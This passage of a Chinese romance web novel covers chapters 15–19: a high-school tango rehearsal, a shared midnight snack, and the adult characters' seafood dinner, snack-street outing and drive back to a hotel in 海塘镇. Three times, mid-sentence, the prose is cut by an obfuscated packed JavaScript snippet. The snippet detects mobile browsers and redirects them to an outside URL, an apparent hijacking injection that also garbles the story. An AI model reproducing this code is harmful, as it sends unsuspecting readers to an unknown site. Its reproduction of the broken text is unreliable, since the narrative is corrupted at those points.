“噢,行啊。”她对着宋玉津抬了抬下巴,“你去做男生领舞。” 宋玉津难以置信地半眯起眼:“哈啊?你刚刚才说……” 乔迦茵说:“就这么定了,你服从组织安排。” 她不想再有什么新的缘由和薛卓然吵起来。薛卓然爱和谁跳和谁跳。 其他人可以跳简化版本,领舞站在最前面,跳的是原始版本,要是薛卓然撂桃子不干,她还真找不到人顶上。 宋玉津不作声了,站到薛卓然身旁,两人自然地聊起天来。 乔迦茵轻微地皱了下眉头,忽略心中的一点不快,专心调队形,尽快完事后让薛卓然开始教舞。 排练占用掉整个午休时间,结束后乔迦茵觉得口干舌燥,拿出手机点喝的。这一个多月下来的习惯,点外卖时会问一句宋玉津,她跟着人群走在回教室的路上,望见宋玉津在自己身后不远,于是转过头,隔着那点距离问他:“喝不喝水果茶?” 出乎她意料的是,宋玉津像没听见一样,加快脚步越过她走了。 好端端的生什么气了?乔迦茵不懂。 * 时隔多年,要不是他们在海塘镇进的餐厅播放起了熟悉的音乐,乔迦茵都快把集体舞这事忘得一干二净了。 她和宋玉津刚进餐厅时就对视了一眼,没说什么。 是邵允承坐下时说了一句:“这音乐好耳熟啊,哪部电影插曲?” “《一步之遥》。”宋玉津边倒茶边说,“我们高中集体舞用了这首。” “还有这种活动呢。”盛霏来了兴致,“男女结对跳?这岂不是很容易擦出火花。” “想多了。”乔迦茵说,“太亲密的动作不会有,校领导都看着呢,大家都高中生了,也觉得尴尬。” 盛霏噢了一声,压根没听进去,凑近她问:“那你当初的舞伴帅不帅?” 宋玉津喝茶呛到了,在那边咳起来,邵允承给他拍气顺背。 乔迦茵瞄了他一眼,也拿起茶杯。 “就是他。”她含糊不清地说。 盛霏没听清楚:“什么?” 乔迦茵又说了一遍:“舞伴。就是他。” “你舞伴是宋玉津?”盛霏惊道,“我以为你们关系不好呢。” “又不是关系好才能做舞伴。”乔迦茵想到什么,揶揄地笑了一下,“他是因为四肢实在太不协调,做不了领舞,被我们女生领舞退货了。” 16. 第 16 章 盛霏笑爆了:“宋玉津这是跳得有多烂。” 乔迦茵喝了口汽水,忍不住也笑起来。 时至今日依然觉得薛卓然满脸无语地向她提出换舞伴的那一幕非常搞笑。 “他跳不了。”薛卓然木着脸道,“把他扔到队伍最后才能保住这场表演。” 初始队形按照身高排列,全班最高的女生是一米七二的乔迦茵。 乔迦茵试探性问道:“那让他跟我跳?” 薛卓然以一种看破红尘的语气道:“你能忍就行。” 舞伴就这么又换了回来。 数年以后,宋玉津在海塘镇的餐厅极力澄清:“我没有那么烂,是薛卓然她要求太高。” “全班都学完了你还在练第一个八拍邀舞。” 全场唯一一个证人反驳他。 “我那是精益求精,才学得慢。” 盛霏都听不下去:“你就是跳不来吧?” 邵允承也说:“这没什么好不好意思的。” 成为众矢之的的宋玉津垂头丧气。 他蔫了一会儿,突然回忆起来关键,说:“不对啊!我当时是因为动不动被拉去学生会开会才没跟上进度的。” 好像是有这么回事,乔迦茵跟着回想了会儿,实在记不清楚了,说:“反正薛卓然都说你跳得烂了。” “她学跳舞的,在她眼里谁跳得不烂?” 盛霏八卦心起:“这个薛卓然是谁啊?班长?” “当时的领舞。”乔迦茵打开手机翻了两下,“是美女,现在做了演员,我给你看她社交账号。” 盛霏一凑过去就:“哇哦。” 邵允承也探头看了一眼:“哇哦。” 两个人都对宋玉津流露出惋惜之色。 宋玉津说:“什么意思,看不懂,有话直说。” 盛霏真就直说了。 “你居然因舞跳得太烂而错失一个和未来的明星跳舞的机会!”虽然薛卓然尚且没什么名气,但演员对普通人来说怎么还是有点光环的。 宋玉津哭笑不得道:“这有什么?乔迦茵也漂亮啊。” 这个倒是,况且当事人也在场,盛霏和邵允承又觉得很有道理似的点点头。 “轮到你评价了?”乔迦茵撩起眼皮,淡淡道,“何况我们俩后来又没跳。” “啊,怎么又没跳?”盛霏急得上蹿下跳。 乔迦茵含笑不语,视线偏离,有意吊人胃口,不说了。 宋玉津看不惯她这样,不就是嫌丢脸不想说,他自己今晚都被曝光得彻彻底底了! 他转头对盛霏说:“她摔了腿。” * 第一次排练过后,乔迦茵再迟钝也察觉到宋玉津对她有了情绪。 毕竟动不动在课上拍她肩膀小声问要不要点外卖的人,一反常态地爱上了学校食堂,怎么想都很离奇。 乔迦茵倒推回去,那天排练一共就发生了那么一次对话,薛卓然让宋玉津当自己舞伴,她同意,让宋玉津服从安排。在她眼里是太小的一件事了,完全无法理解宋玉津在不爽什么。 不是和薛卓然关系挺不错的吗?怎么又不愿意和人家跳舞? 而且她前几天已经告诉他,舞伴换回来了,和自己跳,宋玉津居然还是一副不冷不热的样子,只说了一句“这样啊,也行”。到底在不满什么? 男的就是麻烦! 让她头痛的事情不止这一件。 服装上,男生简单,差不多的西服就行,女生的舞裙款式就复杂得多。集体活动用的钱来自同学筹集的班费,探戈舞裙华丽鲜艳,网络上大多数都超出了预算。乔迦茵和薛卓然两个人快把淘宝和阿里巴巴翻了个底朝天,才选中一款差强人意的红裙。 结果拿到手一看,实物和商品图严重不符,可以打12315报诈骗的程度。 她们想要的是开叉大摆红色长裙,在跳舞过程中可以挥动起来,转圈时也极有观赏性,谁知寄来的裙子一是颜色饱和度高到刺眼,比起探戈舞裙更像是新春过年的大红灯笼,极其喜庆;二是开叉高度不够,怎么转都只是包臀鱼尾裙的效果,更别说挥动了。 再在网上去找其他代替品极具难度,况且等这边退货,那边发货到货,十几条裙子怎么也得一周才到,时间不多了。 薛卓然被大灯笼鱼尾裙整得心情沮丧,大约是感受到了理想和现实之间不可逾越的鸿沟,一连几天兴致缺缺。乔迦茵和她关系本就僵硬,要说些鼓励的话比起安慰更像在阴阳怪气,不知怎么和她交流,只好自己琢磨想办法。 乔迦茵在家里研究了一个周末,总算是有了思路。 周日晚自习前,迫不及待地在教室里抖开一条红裙向薛卓然展示:“裙子本身摆幅是足够宽的,这边顺着本身的开叉和褶皱折上去,用别针固定住,就能人为制造出一个更高的开叉;至于颜色,我们罩一层纱上去。” “黑纱吗?会不会显得很廉价。” “不是那种。”乔迦茵从包里拿了一片布料出来,“用两条这种窄的黑色蕾丝,第一条在腰身这里,做成类似束腰的效果,第二条在外面围出一长一短,不对称的形状,后面粘一个丝绸的蝴蝶结。” 薛卓然皱着眉说:“我看看。” 乔迦茵拎着裙子思考怎么展示,薛卓然果决道:“去厕所吧,我直接穿一下就知道了。” 女洗手间就在他们班教室旁边,靠近楼梯。宋玉津上楼往教室走,刚好望见她们两个并肩从女厕所出来,手里一堆乱七八糟布料碎片,薛卓然手上还拿着把剪刀。 宋玉津欲言又止,表情精彩纷呈。 尽管他前不久还暗自下定决心要冷漠对待乔迦茵,作为她对他态度弃之如敝履的报复——乔迦茵完全没意识到这才是宋玉津生气的原因,晚自习照常开始后,他还是没忍住,去拍了乔迦茵肩膀。 “你和薛卓然在厕所干架了?”他问。 乔迦茵回过头,看他的眼神像看一个智障。 “你有病。”她言简意赅地说。 又攻击,乔迦茵每次一张口就是攻击。宋玉津郁闷极了,不想理她。 男生心里想什么直接写在脸上,乔迦茵见他神情暗了暗,迟疑了片刻,突兀地起了另一个话题。 “你这次月考完,能把手机拿回来了吗?” 宋玉津啊了一声,说:“不知道,主要我不知道年级主任对我的预期是什么,上次退步十名就不还我,这次我要是进步五名,比第一次月考还是退步五名。” 他说着说着想捶胸顿足:“我第一次考那么好干嘛!” 乔迦茵:“……” 两人右边的窗玻璃被咚咚敲了几下,年级主任的脸出现在外面,给了他们一个警告的眼神。 晚自习禁止交谈,乔迦茵把头转回去了,继续写作业。她周末光顾着研究改衣服,欠了一堆作业没写。 年级主任走远之后,她听到身后又幽幽传来一句。 “我整天借用你的手机,你嫌烦了?” 她算数学题算到一半,没说话。 宋玉津等不到回答,继续追问。 “乔迦茵,你是不是一直对我有意见?讨厌我?” 乔迦茵握着笔,额角青筋直冒。 “所以也不想让我做你舞伴……”兀自陷入了男高中生的青春期忧郁。 和这又有什么关系?? 乔迦茵想说,我作业没写完,集体舞又是个烂摊子,根本没空想你的这点破事。 她忍无可忍想要回头发话的时候,班里有人比她先坐不住了。 纪律委员扬声喊了一句:“宋玉津,你别说话了!现在是晚自习!” * 乔迦茵补作业补到晚自习结束后十分钟,值周同学都要关灯了,才合上作业册,长出一口气。 一转身,发现后座的人还在慢腾腾收拾东西,没走。 乔迦茵想了想,问他:“要不要吃夜宵?” “要。”宋玉津条件反射地回答, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14738551|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然后才问,“你现在点外卖?会不会太晚了?”晚自习结束后半小时内没到寝室会被记名字。 “吃食堂。”乔迦茵说,“你不是最爱食堂,上周天天吃。” 明雅中学的食堂会在晚自习结束后提供夜宵,类目不多,聊胜于无。宋玉津当然知道这事,问题是:“你这是讽刺吗?” 乔迦茵难以置信。 “你是M吗?”她说,然后赶紧补充,“别回答了,这句是讽刺。你等我收下包。” 值周同学没耐心等他们唧唧歪歪了,直接把灯一关,甩下句“走的时候记得带上门”,就拎着包跑了。 两个人在突如其来的黑暗中沉默。 半分钟后,乔迦茵把书包拉链拉上,说:“走吧。” 宋玉津等她走出教室后,将门反手关上,两人一前一后地下楼,向食堂走去。 楼梯转角有一面镜子,乔迦茵从中望见乖乖跟在自己后面的高个子男生,还是开口说:“不讨厌你,别七想八想,手机你用得又不多。” “噢。” 回应这么简单,也不知道听进去了没有。 不过听脚步声似乎是轻快了一些。 乔迦茵觉得自己交代得很明确了,对于她这种不善于表达的人来说,已经是超出水准的发挥。 然后宋玉津在她身后问:“今天和薛卓然也没有干架。” “没有,我们在改衣服。” “改衣服?” “女生的舞裙出了点状况,不过已经解决了,我拍了照,你看。”刚好走出教学楼,外面路灯亮堂,乔迦茵将手机里的照片给宋玉津展示,“其实蛮简单的,把剩下十几条都照这样改完就行了。” 宋玉津看了一会儿,说:“你和薛卓然,是不是关系没有那么差了。” “大概是。”乔迦茵也不能确定。 “我早就知道。”他说。 乔迦茵隐约有不妙的预感,宋玉津脑电波运作方式不同寻常,一般他这么起手,接下去就会是一句石破天惊的话。 果不其然,宋玉津语气肯定地说:“你喜欢薛卓然,所以什么都听她的。” 乔迦茵:“………………” * 一餐结束,邵允承主动去结账。饭店马路上极为拥挤,他们车停得偏远,盛霏去取,让他们不用跟来,她直接开过来接。 另外两人被丢弃在餐厅门口。 乔迦茵觉得时机已到,千载难逢,周遭没有别的人在。 她顺势提出了那个困扰她许久的问题。 “你是不是跟别人说,我们两个高中的时候交往过?” “什么东西?”宋玉津问,“谁造谣的?” 他面上震惊的神情不似作伪,乔迦茵端详半晌,转开眼睛,看向热闹的马路。 “我也是听人说的。” “谁跟你说的?” “搞不清楚哪里传出来的。”乔迦茵自己也头晕着,“之前和几个高中同学见过一次面,好像所有人都这么默认了。” “奇怪……”宋玉津说,“而且我高三都不在学校了,传这个离不离谱。” “没你当初造谣我喜欢薛卓然离谱。” 犯人忘得一干二净:“我什么时候说过这个?” “还说我忘性大。”乔迦茵无语道,懒得和他掰扯。 她思考一会儿,幡然醒悟地来了一句,“怪不得高三廖明都不和我玩了,是不是因为你这个事。” 宋玉津神情微顿。 “你真喜欢廖明?” “他长得帅啊。”回答得理所当然。 宋玉津回忆了一下,没办法,客观来讲廖明确实挺帅的。 “我不帅吗?”他怀疑道,“我也很帅啊。”廖明是体育生,他还比人家有文化! 她瞥了他一眼。 “你是不错。”乔迦茵不骗人。 宋玉津雀跃不过两秒。 然后她说:“不过你不是我喜欢的类型。” 17. 第 17 章 陪宋玉津吃过食堂夜宵后太饱了,迟迟无法入睡,次日早上又起不来。乔迦茵直接睡过了早餐时间,在早自习铃声的最后一个音符落地时踩点到了教室。 望向自己座位的时候愣了一下,被宋玉津桌上格外明艳的大红色晃了眼睛。 走近了才发现,昨晚离开教室前,乔迦茵将舞裙和改衣服用的材料全堆放在教室后方的橱柜上,现在整整齐齐地出现在宋玉津旁边的窗台上。他在帮她改裙子,每一条用别针固定起开叉,粘上黑色蕾丝。 男生垂着眸,神情安静而专注,额前的头发柔顺地朝下,发丝和睫毛在初晨的阳光里映照成金棕色,像婴儿的绒毛。 乔迦茵坐定,扭着头看了一会儿他手上动作,小声说:“你会不会啊。” “这有多难?”宋玉津轻描淡写地说,“昨天看你照片就会了。” 真的假的?乔迦茵觉得还挺复杂的。 她不太相信地又观察了一会儿宋玉津的动作,随后不得不承认,他做得完全正确,没想到宋玉津还挺擅长做这种小手工。 动作比她还熟练一点。 “你家开服装店的?”她忍不住问。 宋玉津抬头,没什么表情。 这下轮到乔迦茵惊讶:“我猜对了啊?” “思路对了,答案全错。”手上这条舞裙改好了,宋玉津规规整整地把它叠起来,“我家开的玩具厂。” 乔迦茵看他乖乖取了下一条继续改,心里不免有点感激,于是赞扬他:“玩具王子。” 宋玉津:“……” 他咬牙切齿地开口:“我好心帮你干活,你能不能不要给我起这种侮辱性称号。” “哪里侮辱了。”乔迦茵说,“大课间记得和我去艺术楼练舞,王子。” 宋玉津学舞的进度差得太多,学得又慢,不得不找碎片时间开小灶。正式演出只剩下一周时间,乔迦茵拽着他早中晚一日三次练习。 她陪他练过一次之后,就发现令薛卓然绝望的症结在哪里。 宋玉津只会定点,动作接不起来,每一个动作都慢一拍,到了第n拍,总共差了n*(n+1)/2拍。 第一个八拍邀舞,起手时女生将手搭在男生手上,男生握起女生的手,紧接着两人共同侧身,男生另一只手顺势搭上女生腰侧。 总共三个动作,他就是接不起来,一开始握手慢一拍,乔迦茵一侧身手就脱离了舞伴的手心;后来是侧身慢一拍,乔迦茵转过去了他还直直站在那里。 中间有一段集体走位,所有女生围成圈,男生们站在外侧,一段舞蹈过后,男生伸手将女生向后拉到身旁,转一个圈。 看上去只是一个拉手动作,实际上需要女生们准确无误地将手摊开往后伸,男生舞伴才能恰到好处地在那一拍将她们带过去,接上后续动作。 队形变换是集体舞考核评比的一项标准,薛卓然拒绝简化这一拍的动作。 这复杂精妙的一拍彻底困住了宋玉津,要么拉不住要么疑似要将乔迦茵像个陀螺甩飞出去,气得女生横眉竖目。 乔迦茵破罐子破摔:“你就只练这拍,练一百遍,练出肌肉记忆就好了。” 当然是没有练到一百遍,但肌肉记忆真给练了出来。 他确实是不擅长这个,集体舞的每一个动作要反反复复顺很久才能记住,练得全曲都是肌肉记忆,一听到《一步之遥》就应激,晚上睡觉梦里都有个小人在指挥他向前拉手转圈。 周末回家还被乔迦茵消息提醒,督促他在家也要勤加练习。宋玉津只能在家拉门把手,被双亲关怀地询问最近是不是压力太大。 等到周日傍晚回校,他坐家里的车去。开到临近南门,前面的车先靠边停了下来。 宋玉津随意瞄了一眼,意外地发现,那车上下来的人是乔迦茵。 她隔着车窗和驾驶座上的女人说了几句话,随后开了后备箱,取出行李,对着车子扬手挥别。 那车刚开走,乔迦茵就拖着箱子向校门走去。结果可能刚刚行李箱放的位置不对,拖了一下就撞到右边后脚,左脚没刹住,右脚跟不上,直愣愣地向前摔了下去。 “哎呀。”宋家司机和宋玉津心里同时说到。 司机说:“那是你同学吗?摔到非机动车道上了,柏油路哦,这一下肯定不轻。” 宋玉津也盯着前面看。 乔迦茵很快就撑着地面起身,拍了拍手掌,低头检查行李箱。 能站起来,还走了两步,应该问题不大,宋玉津立刻直起身,对前座的司机说:“张叔,往前开,快,绕一圈再过来。” 司机:“啊?” “别被她发现我看见了,快快快,走啊。”宋玉津迭声催促,忍着一点笑。乔迦茵居然平地摔,自己绊自己。 车子在张叔的一派困惑中火速驶离了明雅中学南门。 * “你喷古龙水了?” 海塘镇餐厅门前,乔迦茵突然这么问身边的人。 宋玉津嗅了嗅:“柔顺剂。上次洗的时候不小心倒多了,好像味道是有点明显。” 春天的青草香,不难闻。乔迦茵嗅了两下,没说话。 门帘掀起一层气浪,吹到耳后,往后看,邵允承握着手机和小票从光亮处走出来。沿街的店面不大,乔迦茵和宋玉津两人都站在店门右侧,再往那边是树,没地方站了。挡着别人门口不妥,他站到了店门左边。 “盛霏还没来吗?”他问。 “应该快了,她也没发消息求助之类的。”乔迦茵说。 她缓慢眨了两下眼睛,经过店门,走到邵允承身边去了,随意地勾着他手臂探过头去:“小票给我看看。” 邵允承稍微愣了一下才反应过来,顺着她演,把发票递过去一点。 乔迦茵没接,就着他的手看。 宋玉津一个人站在门的另一侧说风凉话:“点的菜里一半是你过敏原,你能记得点了什么。” 这家是海鲜餐厅,菜单一眼望去就没几个菜乔迦茵可以吃,他们点得已经是很努力。 换其他餐厅乔迦茵又不答应,因为这边沿海,以海鲜出名,这一家本就是海塘镇最出名的餐厅,没有理由要其他人因为照顾她而错失。 所以协商出来的方案是,先吃这家知名海鲜餐厅,然后去小吃街,要是乔迦茵饿到了,就小吃街多吃点,余下三人请。 乔迦茵瞪他一眼:“我们两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14740878|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说悄悄话,你别来打扰。” 宋玉津幼稚且轻蔑地嗤笑了一声,转开脸去,背对着他们玩手机了。 乔迦茵压低声音对邵允承说:“你适应一点,就算他们两个神经粗,我们也不能完全不演。” “好,我配合你。”邵允承很好说话,也放轻声音,“正好我想问你个事,我表姐微信问我见过你了没有,感觉如何。” 陈安妮? 乔迦茵问:“你回了吗?” “还没,你们不是同事吗?怕你回头尴尬,先和你对下口供。”邵允承小心翼翼地说,“我们应该不用对她也假扮情侣吧?” 邵允承普通话标准,“假扮情侣”四个字咬得清清楚楚,乔迦茵做贼心虚地往宋玉津的方向看了一眼,才回答他。 “不用,当然不用。”乔迦茵想了想,说,“不要告诉她我们有一起出来玩,但也别把话说太死,别说完全看不上。” “不会那么说的。”邵允承笑,“那我出来玩的朋友圈是不是要屏蔽她?幸好我还没发。” “不用,我屏蔽所有同事的。” 乔迦茵确认了一下自己的朋友圈分组,又想到一点细节,说:“一会儿去小吃街记得牵手啊。” “没问题。” 盛霏开着车子姗姗来迟,降下车窗喊他们:“快上车!” 等人都上了车,盛霏怨声载道:“有辆车刚停在我后面,我停的时候前面又挨得很紧,你们不知道有多难开出来,我半条命都没了。” “你叫我来开啊。”宋玉津随口道。 盛霏斜了他一眼。 “你就很厉害吗?你来就很快能开出来?”她打方向盘转弯,余怒未消,“而且我不练习怎么能进步,不可能我每次开车都叫你来应急换手,你又不是我……” 她在宋玉津警觉的目光中住了嘴。 什么情况? 宋玉津给她比了个口型,说“别说漏嘴”。 盛霏莫名其妙,“你又不是我妈”哪里说漏嘴了。 海塘镇小吃街以街头食物为主,诸如烧烤、煎饼、糕点、茶饮等。盛霏突然间极其渴望冰糖葫芦,远远看到一个马路对面的摊头就直奔过去,另外三人猝不及防,不知道她突然跑什么,一头雾水地跟在后面追。 盛霏一个人步履轻快,灵活地在人群里游走,快速穿过了斑马线,到了前面那条路上。 乔迦茵慢一步,刚好有几个勾肩搭背的游客在她前面横行过去,刚好绿灯转红,过不去了。 不过她瞥见盛霏在冰糖葫芦摊前停下排队,明白了她突然跑出去就为了买吃的。 这几天没怎么见到过这种老式的冰糖葫芦摊,她不知道盛霏爱吃这个,印象里后者明明不喜甜。 刚才跑过来的时候邵允承好像就跟在自己后面,下车后牵了一下手就才出了这茬,给打断了,还是再演一下。 余光瞥见一个很高的人影在自己侧后方,她摊开掌心往后探。 手传来被柔软拢住的触感,邵允承反应挺快。 下一秒,乔迦茵忽然被往后一拽,直接退了一大步,险些没站稳。 她诧异地睁大眼睛,与眼里同样充满震惊的宋玉津对视。 18. 第 18 章 夜晚的小吃街人声鼎沸。 烧烤摊的滋滋声响,路灯下纷飞的烟尘,鸡蛋打进油热的铁板炸开,绿灯将近结束警示行人的滴滴响声,有点残破的简陋棚布在夜风里膨胀摆动,拥挤如浪的人群,残缺的斑马线,马路对面若有所感回望过来的朋友。 还有…… 隔着经年时间,曾经在艺术楼的天台练习过无数遍的动作。 双手交握的热度急速蔓延到大脑。 那时候是排练,集体荣誉,就算被经过的师生撞见也知道是为了活动,每年例行的集体舞项目。没紧张过。 因为心知肚明这样的碰触没有别的意味。 这一次却奇怪,像碳酸饮料开瓶,千万个小气泡争先恐后地上涌,积蓄起一层厚厚的白沫,欢欣鼓舞地往上、往上。 听到宋玉津倒吸一口冷气,乔迦茵才发现自己无意识中掐了他的手。 “至于吗,我不小心的,对不起啊。”宋玉津松开手,还以为她是反感突然的触碰才这么掐他,“肌肉记忆宝刀未老。” 令人头晕目眩的热度和气泡一起消失了。 乔迦茵左看右看,没找到该牵手的人,问他:“邵允承呢?” 宋玉津往前方抬了抬下巴。 “喏,人家腿比你长,已经到对面了。” 可恶,也没有长多少吧。190cm和172cm的差别。 而且眼前这位也有188cm,多年不见好像还往上长了一公分。 乔迦茵惯性怼他:“那你怎么没跟上,上半身是有多长。” “……我是怕你又冒冒失失走丢了,才跟在后面。”宋玉津说。盛霏横冲直撞,邵允承又懵懵懂懂,总是半神游似的状态,乔迦茵是个反社会分子,他觉得自己是唯一一个携带了正常人类大脑出门的人。 “我有那么蠢吗?” “思鹭山。”直接提示她上次的事。 “我那是忙工作。” “谁知道这次会不会又半路杀出工作。” 她确实没法保证。 心情烦闷,道路两边小吃摊的热浪向中间挤压,后背涌起燥热。乔迦茵抬起双手,将披散着的头发绑了起来。 红灯转绿。等候在街边的人潮像迁徙的候鸟,以最前面一拨为先,汩汩不绝地越过马路。 宋玉津走在乔迦茵身边,还是半抬着眼皮用余光确认她有正常跟上。眼力太好,精准捕捉到她后颈有块皮肤,与周围颜色不同,更暗一些。马路在天桥下面,踏进桥身阴影时看不清了。 乔迦茵丝毫不察,一直走出阴影,到对街,小吃摊和指示灯的光亮再度逼近,宋玉津确认自己没看错。 那边冰糖葫芦摊边,盛霏和邵允承已经会合,正在向他们两个高举起手示意。 方才离得太远,好像没被看见牵手的乌龙。 乔迦茵对上盛霏目光,也举手扬了扬,表示看到了,这就过来。 与此同时,比平时要微沉的男声在右侧响起。 “你吃什么了?” 乔迦茵不解道:“啊?我们不都是一起吃的?” “脖子这里。”宋玉津点点自己脖颈侧后方,表明位置,“过敏了。” 按理讲不应该,乔迦茵自小就是过敏体质,一直以来在吃上都很小心,这一路上宋玉津也有看着,没见她碰什么过敏的东西。 乔迦茵稀里糊涂的,半天没反应过来,按照他动作摸了一会儿,迟钝道:“好像是过敏了……什么时候弄的?” 还反客为主地问起他了。宋玉津轻微地叹了一口气。 方才光线不足,看着只是暗了一块,现在在明亮处,能清晰看到那块皮肤泛着不正常的红。 宋玉津说:“你自己挠的,还问我。” 乔迦茵费劲地思考了一会儿,放弃:“没印象了,我工作的时候无意识就会挠几下,可能之前加班犯的。” “对工作过敏?” “压力作用。”乔迦茵抬眼道,“也有可能是对你过敏,离我远点。” 宋玉津熟练地无视掉后半句话,问她:“什么压力,业绩不好?” “我们公司什么情况,网上不都传开了吗。”话音里掺杂一点苦笑,不像她。 “网传的说法不一定属实。” 走在他们前面的一对情侣忽然停住脚步,侧转身,不动了。乔迦茵和宋玉津呆滞地在后面站了一会儿,才看出他们是加入了旁边蛋饼摊的漫长队伍。 两人轻声说着借过,缓慢穿过他们之间的空隙,继续往前走。 乔迦茵接上刚才的话。 “话是这么说。但是网传高管要走人,果真走了人;网传要降薪,果真降薪了;网传要裁员,果真就裁员了。都说网传的说法不一定属实,但即使是我作为公司的一员,想要知道公司将来的动向,第一个反应也是去网上搜索。”乔迦茵摇头道,“我们在的级别,内部根本没有信息。” 几句话确认了她们公司业绩不佳,降本增效的传闻。 宋玉津尽可能安慰她:“大环境不好,其实我们公司也半死不活,组里明确没有招人的hc,却又无中生有地开了秋招,骗毕业生来实习,我看到都觉得亏心。” 人太多怕踩到鞋,乔迦茵低着头看路,闻言瞥他。 “那你找个机会暗示一下他们,别真害人浪费时间,现在工作这么难找。” “轮不到我。”宋玉津说到这个也无奈,“我是底层研究员,都没资格给他们面试,安排的实习时间是寒假,大概率不会分配给我。” “你不都已经工作三年了吗?” “我们组两年没招新人。” “……”原来情况半斤八两,乔迦茵说,“那今年理论上应该招人了,招一个也是招。” 宋玉津带着凉凉的笑意看她一眼:“你觉得会招普通人?” “萝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751910|157423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卜坑啊。”她懂了。 “我什么都没说。”都说完了来一句欲盖弥彰。 乔迦茵短暂地沉默一会儿,手又抚了抚后颈那块略微粗糙的皮肤:“其实过敏也好压力也好,你不说出来,我都很久没有感觉到过,长期以来都是一个状态,也没有出现过变化,不存在起伏不定的情况,自从毕业入行以来就始终是这样了。” “任何人都没有错,每一个阶段做的选择是不该用对错去评判的。只是我们错过了好时机,太晚了,赶上了最差的时候,以及比起未来的人生,最好的时候。” 在金融投资被仰望的时代以高分考进名单院校,热门对口专业,近十段实习,在竞争中挤破了脑袋,毕业入职却赶上行业衰退期,自己的职业生涯起点,已经是此后十年二十年的最高点,从此只会每况愈下。 焦虑、恐慌、痛苦,都很稳定。 她说完这些,加快了脚步,因为不想听宋玉津的回应。 她觉得身处同一行业的宋玉津应该可以理解其中的一部分,但他们到底是不一样的,多的是他无法感同身受的事。因而就算他表达共鸣、安慰还是同情,对她来说都是冗余的废话,有些语句听了反而不快。 反正她一直没摸清过宋玉津的脑回路,猜不到他会如何作答,最好别是什么高高在上悬浮至极的苍白话语。 还是热,越走越热,裸露在外的肌肤像被炙烤,乔迦茵把外套解开了,没有丝毫犹豫就脱掉,里面穿了一件短袖T恤。 她本来就背着托特包,手上还拿了瓶水,另一只手拿了外套,看着就有点忙乱。 宋玉津自然地伸手:“我帮你拿吧。” 这句倒是没想到。 乔迦茵愣了愣:“你说哪个。” 当然是她刚摘下来的外套,宋玉津无语:“你想哪个给我就哪个吧。” “包行不行,好重。” “……行,都行。”她说什么是什么。 她将外套挂在手肘弯上,矿泉水换了手,随后将托特包从肩膀上勾下来,交给他。 这一套动作在人群里其实不好施展,宋玉津看她实在太缓慢,背上她的包后,不由分说地将她的外套一把抓了过来。 “都我拿着吧。” 乔迦茵说:“小心别给我弄脏了。” “那还给你。”作势要伸手递回去。 “不要。”女生侧着身躲开了,笑着跳了一步,“谢谢你啦。” 怎么突然就笑了,宋玉津怔了怔,下一秒就已经到了盛霏和邵允承跟前。 邵允承意外地端详他的造型:“咦,这些是……” “乔迦茵的东西。”宋玉津没好气地答。 邵允承想说他看得出来,他奇怪的是乔迦茵怎么愿意把包给他背的。之前爬山的时候邵允承主动提过要帮她拎包,被冷然拒绝了。他逐渐也发觉乔迦茵在这方面有点习惯,不太愿意让别人动自己的物品。 19. 第 19 章 宋玉津当然对邵允承在想什么一无所知,他其实想把东西扔给邵允承来拿,怎么说这位才是名正言顺的男朋友,结果他和盛霏两人跑得快,在这边摊位早就满载而归,一手冰糖葫芦一手奶茶,明显腾不出拎东西的空。 宋玉津只能悻悻地问:“好吃吗?我也要去买。” 记得乔迦茵对山楂不过敏,转头想问她要不要一串,卸去负担的人已经灵活地跑开了,在三米开外的章鱼烧摊子排起了队。 逛完小吃街,时间将近十二点。海塘镇景区特卖的青梅酒,包装精美可爱,后劲却大,盛霏喝了半瓶,晕晕乎乎要去后座睡觉,再度和乔迦茵换了座位。唯一因排队买别的没喝到的宋玉津任劳任怨地坐上驾驶座。 一般盛霏不说话的时候,车里其他人也都不说话。 她在后面睡得沉,乔迦茵抱着包安静地坐在副驾驶。 宋玉津开到酒店门口,才发现右边这人也睡着了,闭着眼睛气息均匀。 盛霏太难叫醒,他决定先叫乔迦茵,轻喊了两声名字。 余光瞄见女生手动了动,他没看清楚,疑心是错觉,凑过去轻声问:“醒了吗?” 镇上的酒店没有地下车库,车就停在街边,挨着一棵香樟树,枝叶繁茂,幢幢影子穿过前窗玻璃落在他们身上。 宋玉津发现她睫毛上落了一粒粗灰,大概刚才烧烤摊上沾到的。 他想也没想地伸手,帮她拂去。 指腹拈住那一粒灰的时候,曲起的关节触碰到温热的脸颊皮肤。 他清晰地察觉到乔迦茵的眼睫毛抖了抖。 宋玉津将那一粒灰尘吹走,无意识地捻了捻手指,副驾驶座上的人迷迷蒙蒙地半睁开了眼,梦呓一样地说: “邵允承?” 宋玉津手指一滞,神色如常地回到驾驶座上。 